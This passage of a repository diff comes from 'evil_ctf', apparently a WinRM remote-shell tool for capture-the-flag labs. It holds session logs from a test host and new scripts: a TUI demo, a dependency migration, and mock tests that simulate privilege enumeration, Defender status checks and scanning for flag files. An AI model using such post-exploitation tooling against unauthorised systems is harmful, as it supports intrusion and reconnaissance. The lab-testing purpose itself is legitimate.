-0700] download_file => true -[2026-01-04 13:20:16 -0700] compare => equal=false -[2026-01-04 13:20:16 -0700] CommandManager.expand_macro ran -[2026-01-04 13:20:16 -0700] [+] Session test completed -[2026-01-04 13:20:17 -0700] [*] Creating WinRM connection to http://192.168.0.143:5985/wsman as jabbatheduck -[2026-01-04 13:20:18 -0700] hostname => exit=0 output=Old-W10 -[2026-01-04 13:20:18 -0700] whoami => exit=0 output=old-w10\jabbatheduck -[2026-01-04 13:20:18 -0700] Defender RealTimeProtectionEnabled => True -[2026-01-04 13:20:18 -0700] upload_file => ok=true local_hash=17c6f8aa1e8fa7478d1dea51119e939d8da914953e2fa3ef321b230f1e85bb18 remote_hash=DD3D23F055C35FCF2196236F444230453AAF4FEF2323D86DC08A85D000BFC415 -[2026-01-04 13:20:18 -0700] download_file => true -[2026-01-04 13:20:18 -0700] compare => equal=false -[2026-01-04 13:20:18 -0700] CommandManager.expand_macro ran -[2026-01-04 13:20:18 -0700] [+] Session test completed -[2026-01-04 13:20:39 -0700] [*] Creating WinRM connection to http://192.168.0.143:5985/wsman as jabbatheduck -[2026-01-04 13:20:39 -0700] hostname => exit=0 output=Old-W10 -[2026-01-04 13:20:39 -0700] whoami => exit=0 output=old-w10\jabbatheduck -[2026-01-04 13:20:40 -0700] Defender RealTimeProtectionEnabled => True -[2026-01-04 13:20:40 -0700] upload_file => ok=true local_hash=a143eacb01b2d2e7e0ed545d2485e388d03719b300da48ca3c27ba6ee4b7723a remote_hash=0FA93356F6DC635E83566751BF004045140A9DB406695DDBCB4323A37F05F4A0 tmp_hash= -[2026-01-04 13:20:40 -0700] download_file => true -[2026-01-04 13:20:40 -0700] compare => equal=false -[2026-01-04 13:20:40 -0700] CommandManager.expand_macro ran -[2026-01-04 13:20:40 -0700] [+] Session test completed -[2026-01-04 13:20:53 -0700] [*] Creating WinRM connection to http://192.168.0.143:5985/wsman as jabbatheduck -[2026-01-04 13:20:53 -0700] hostname => exit=0 output=Old-W10 -[2026-01-04 13:20:53 -0700] whoami => exit=0 output=old-w10\jabbatheduck -[2026-01-04 13:20:53 -0700] Defender RealTimeProtectionEnabled => True -[2026-01-04 13:20:53 -0700] upload_file => ok=true local_hash=adc7eb85bd549bac4e011913ae887eb1f6db96929b3922424184c4108a71d6e1 remote_hash=74E6CCC84200DD916411D66FD0C725EF01805D4DE62AB031F4C032BF5CBBDADC tmp_hash= -[2026-01-04 13:20:53 -0700] download_file => true -[2026-01-04 13:20:53 -0700] compare => equal=false -[2026-01-04 13:20:53 -0700] CommandManager.expand_macro ran -[2026-01-04 13:20:53 -0700] [+] Session test completed -[2026-01-04 13:22:43 -0700] [*] Creating WinRM connection to http://192.168.0.143:5985/wsman as jabbatheduck -[2026-01-04 13:22:43 -0700] hostname => exit=0 output=Old-W10 -[2026-01-04 13:22:43 -0700] whoami => exit=0 output=old-w10\jabbatheduck -[2026-01-04 13:22:43 -0700] Defender RealTimeProtectionEnabled => True -[2026-01-04 13:22:43 -0700] ERROR upload: ArgumentError: unknown keyword: :logger -[2026-01-04 13:22:43 -0700] download_file => true -[2026-01-04 13:22:43 -0700] compare => equal=false -[2026-01-04 13:22:43 -0700] CommandManager.expand_macro ran -[2026-01-04 13:22:43 -0700] [+] Session test completed -[2026-01-04 13:23:05 -0700] [*] Creating WinRM connection to http://192.168.0.143:5985/wsman as jabbatheduck -[2026-01-04 13:23:06 -0700] hostname => exit=0 output=Old-W10 -[2026-01-04 13:23:06 -0700] whoami => exit=0 output=old-w10\jabbatheduck -[2026-01-04 13:23:06 -0700] Defender RealTimeProtectionEnabled => True -[2026-01-04 13:23:06 -0700] ERROR upload: ArgumentError: unknown keyword: :logger -[2026-01-04 13:23:06 -0700] download_file => true -[2026-01-04 13:23:06 -0700] compare => equal=false -[2026-01-04 13:23:06 -0700] CommandManager.expand_macro ran -[2026-01-04 13:23:06 -0700] [+] Session test completed -[2026-01-04 13:23:39 -0700] [*] Creating WinRM connection to http://192.168.0.143:5985/wsman as jabbatheduck -[2026-01-04 13:23:39 -0700] hostname => exit=0 output=Old-W10 -[2026-01-04 13:23:39 -0700] whoami => exit=0 output=old-w10\jabbatheduck -[2026-01-04 13:23:39 -0700] Defender RealTimeProtectionEnabled => True -[2026-01-04 13:23:39 -0700] ERROR upload: ArgumentError: unknown keyword: :logger -[2026-01-04 13:23:39 -0700] download_file => true -[2026-01-04 13:23:39 -0700] compare => equal=false -[2026-01-04 13:23:39 -0700] CommandManager.expand_macro ran -[2026-01-04 13:23:39 -0700] [+] Session test completed -[2026-01-04 13:24:03 -0700] [*] Creating WinRM connection to http://192.168.0.143:5985/wsman as jabbatheduck -[2026-01-04 13:24:03 -0700] hostname => exit=0 output=Old-W10 -[2026-01-04 13:24:03 -0700] whoami => exit=0 output=old-w10\jabbatheduck -[2026-01-04 13:24:04 -0700] Defender RealTimeProtectionEnabled => True -[2026-01-04 13:24:04 -0700] ABOUT TO CALL UPLOAD wrapper -[2026-01-04 13:24:04 -0700] ERROR upload: ArgumentError: unknown keyword: :logger -[2026-01-04 13:24:04 -0700] download_file => true -[2026-01-04 13:24:04 -0700] compare => equal=false -[2026-01-04 13:24:04 -0700] CommandManager.expand_macro ran -[2026-01-04 13:24:04 -0700] [+] Session test completed -[2026-01-04 13:24:18 -0700] [*] Creating WinRM connection to http://192.168.0.143:5985/wsman as jabbatheduck -[2026-01-04 13:24:19 -0700] hostname => exit=0 output=Old-W10 -[2026-01-04 13:24:19 -0700] whoami => exit=0 output=old-w10\jabbatheduck -[2026-01-04 13:24:19 -0700] Defender RealTimeProtectionEnabled => True -[2026-01-04 13:24:19 -0700] ABOUT TO CALL UPLOAD wrapper -[2026-01-04 13:24:19 -0700] ERROR upload: ArgumentError: unknown keyword: :logger -[2026-01-04 13:24:19 -0700] download_file => true -[2026-01-04 13:24:19 -0700] compare => equal=false -[2026-01-04 13:24:19 -0700] CommandManager.expand_macro ran -[2026-01-04 13:24:19 -0700] [+] Session test completed -[2026-01-04 13:24:56 -0700] [*] Creating WinRM connection to http://192.168.0.143:5985/wsman as jabbatheduck -[2026-01-04 13:24:56 -0700] hostname => exit=0 output=Old-W10 -[2026-01-04 13:24:56 -0700] whoami => exit=0 output=old-w10\jabbatheduck -[2026-01-04 13:24:56 -0700] Defender RealTimeProtectionEnabled => True -[2026-01-04 13:24:56 -0700] ABOUT TO CALL UPLOAD wrapper -[2026-01-04 13:24:56 -0700] mkdir output: OK -[2026-01-04 13:24:56 -0700] init output: INIT -[2026-01-04 13:24:56 -0700] chunk 0 output: CHUNK 0 -[2026-01-04 13:24:57 -0700] tmp_hash raw output: F0D70252D6A97FF16E83599D179F8459D958D747CF924F3AB3D97AFC9685F2C2 -[2026-01-04 13:24:57 -0700] move output: MOVED -[2026-01-04 13:24:57 -0700] final_hash raw output: F0D70252D6A97FF16E83599D179F8459D958D747CF924F3AB3D97AFC9685F2C2 -[2026-01-04 13:24:57 -0700] upload_file => ok=true local_hash=f0d70252d6a97ff16e83599d179f8459d958d747cf924f3ab3d97afc9685f2c2 remote_hash=F0D70252D6A97FF16E83599D179F8459D958D747CF924F3AB3D97AFC9685F2C2 tmp_hash=F0D70252D6A97FF16E83599D179F8459D958D747CF924F3AB3D97AFC9685F2C2 -[2026-01-04 13:24:57 -0700] download_file => true -[2026-01-04 13:24:57 -0700] compare => equal=true -[2026-01-04 13:24:57 -0700] CommandManager.expand_macro ran -[2026-01-04 13:24:57 -0700] [+] Session test completed -[2026-01-04 13:27:17 -0700] [*] Creating WinRM connection to http://192.168.0.143:5985/wsman as jabbatheduck -[2026-01-04 13:27:17 -0700] hostname => exit=0 output=Old-W10 -[2026-01-04 13:27:17 -0700] whoami => exit=0 output=old-w10\jabbatheduck -[2026-01-04 13:27:18 -0700] Defender RealTimeProtectionEnabled => True -[2026-01-04 13:27:18 -0700] upload_file => ok=true local_hash=d3626c830308ed8451cc721fb3b24f62e69e9235a41f5f9719a1fd2ad58a95cf remote_hash=D3626C830308ED8451CC721FB3B24F62E69E9235A41F5F9719A1FD2AD58A95CF tmp_hash=D3626C830308ED8451CC721FB3B24F62E69E9235A41F5F9719A1FD2AD58A95CF -[2026-01-04 13:27:18 -0700] download_file => true -[2026-01-04 13:27:18 -0700] compare => equal=true -[2026-01-04 13:27:18 -0700] CommandManager.expand_macro ran -[2026-01-04 13:27:18 -0700] [+] Session test completed diff --git a/scripts/demo_tui_live.rb b/scripts/demo_tui_live.rb new file mode 100644 index 0000000..754c3fa --- /dev/null +++ b/scripts/demo_tui_live.rb @@ -0,0 +1,11 @@ +#!/usr/bin/env ruby +# Demo script to run the TUI demo mode without a live session +begin + require 'bundler/setup' +rescue LoadError + # ignore if bundler/setup not available +end +require_relative '../lib/evil_ctf/tui' + +# Run demo mode +EvilCTF::TUI.demo(nil, {}) diff --git a/scripts/migrate_ruby4_dependencies.sh b/scripts/migrate_ruby4_dependencies.sh new file mode 100755 index 0000000..9664d75 --- /dev/null +++ b/scripts/migrate_ruby4_dependencies.sh @@ -0,0 +1,48 @@ +#!/usr/bin/env bash +set -euo pipefail + +ROOT_DIR="$(cd "$(dirname "${BASH_SOURCE[0]}")/.." && pwd)" +cd "$ROOT_DIR" + +REQUIRED_BUNDLER="4.0.10" + +if ! command -v bundle >/dev/null 2>&1; then + echo "[!] bundler is not installed" >&2 + exit 1 +fi + +if ! command -v ruby >/dev/null 2>&1; then + echo "[!] ruby is not installed" >&2 + exit 1 +fi + +echo "[*] Ruby: $(ruby --version)" +echo "[*] Bundler: $(bundle --version)" + +echo "[*] Removing stale bundle artifacts" +rm -rf vendor/bundle .bundle/config Gemfile.lock + +echo "[*] Configuring local bundle path" +bundle _${REQUIRED_BUNDLER}_ config set --local path vendor/bundle + +echo "[*] Regenerating lockfile for linux" +bundle _${REQUIRED_BUNDLER}_ lock --add-platform x86_64-linux + +echo "[*] Installing dependencies" +bundle _${REQUIRED_BUNDLER}_ install + +echo "[*] Verifying lockfile metadata" +if ! awk '/^BUNDLED WITH$/ {getline; gsub(/^ +| +$/, "", $0); print $0}' Gemfile.lock | grep -qx "${REQUIRED_BUNDLER}"; then + echo "[!] Gemfile.lock BUNDLED WITH is not ${REQUIRED_BUNDLER}" >&2 + exit 1 +fi + +if ! grep -Eq '^ x86_64-linux(-gnu)?$' Gemfile.lock; then + echo "[!] Gemfile.lock is missing x86_64-linux platform entry" >&2 + exit 1 +fi + +echo "[*] Running smoke test" +bundle _${REQUIRED_BUNDLER}_ exec ruby bin/evil-ctf.rb --help >/dev/null + +echo "[+] Ruby 4.0 dependency migration complete" diff --git a/scripts/test_banner_mock.rb b/scripts/test_banner_mock.rb new file mode 100644 index 0000000..50a2232 --- /dev/null +++ b/scripts/test_banner_mock.rb @@ -0,0 +1,30 @@ +#!/usr/bin/env ruby +# Quick safe test of EvilCTF::Banner.show_banner using a mock shell + $LOAD_PATH.unshift(File.expand_path('../', __dir__)) +require 'ostruct' +# Ensure base module exists for nested module definition in banner +module EvilCTF; end unless defined?(EvilCTF) +require 'lib/evil_ctf/banner' + +class MockShell + def run(cmd) + case cmd + when 'hostname' + OpenStruct.new(output: "TEST-HOST\n") + when /Get-WmiObject Win32_ComputerSystem/ + OpenStruct.new(output: "TestDomain\n") + when /whoami .*priv/, /whoami \/priv/ + OpenStruct.new(output: "SeDebugPrivilege Enabled\n") + when /\(Get-MpComputerStatus\).RealTimeProtectionEnabled/ + OpenStruct.new(output: "False\n") + else + OpenStruct.new(output: "") + end + end +end + +puts "Running mock banner test (minimal mode)..." +EvilCTF::Banner.show_banner(MockShell.new, {ssl: false, port: 5985, hash: false}, mode: :minimal) + +puts "\nRunning mock banner test (expanded mode)..." +EvilCTF::Banner.show_banner(MockShell.new, {ssl: false, port: 5985, hash: false}, mode: :expanded) diff --git a/scripts/test_tui_dashboard.rb b/scripts/test_tui_dashboard.rb new file mode 100644 index 0000000..0908bf3 --- /dev/null +++ b/scripts/test_tui_dashboard.rb @@ -0,0 +1,23 @@ +#!/usr/bin/env ruby +# Test the dashboard render with a mock shell +$LOAD_PATH.unshift(File.expand_path('../', __dir__)) +require 'ostruct' +module EvilCTF; end unless defined?(EvilCTF) +require 'lib/evil_ctf/tui' + +class MockShell + def run(cmd) + case cmd + when 'hostname' + OpenStruct.new(output: "WIN-CTF-01\n") + when /whoami/ + OpenStruct.new(output: "WIN-CTF-01\\Administrator\n") + when /systeminfo / + OpenStruct.new(output: "OS Name: Microsoft Windows Server 2019 Standard\nOS Version: 10.0.17763 N/A Build 17763\n") + else + OpenStruct.new(output: "") + end + end +end + +EvilCTF::TUI.render_dashboard(MockShell.new, {ip: '10.0.0.5', ssl: true}) diff --git a/scripts/test_tui_flags.rb b/scripts/test_tui_flags.rb new file mode 100644 index 0000000..ff84609 --- /dev/null +++ b/scripts/test_tui_flags.rb @@ -0,0 +1,21 @@ +#!/usr/bin/env ruby +# Test the TUI's flag-scan helper without launching interactive TTY. +$LOAD_PATH.unshift(File.expand_path('../', __dir__)) +require 'ostruct' +module EvilCTF; end unless defined?(EvilCTF) +require 'lib/evil_ctf/tui' + +class MockShell + def run(cmd) + # Simulate optimized flag-scan output + if cmd.include?('Write-Output "FLAGFOUND') || cmd.include?('Get-ChildItem') + OpenStruct.new(output: "FLAGFOUND|||C:\\Users\\Alice\\Desktop\\flag.txt|||flag{demo}\nFLAGFOUND|||C:\\Users\\Bob\\Documents\\user.txt|||flag{bob}\n") + else + OpenStruct.new(output: "") + end + end +end + +rows = EvilCTF::TUI.run_flag_scan(MockShell.new) +puts "Found rows:" +puts rows.inspect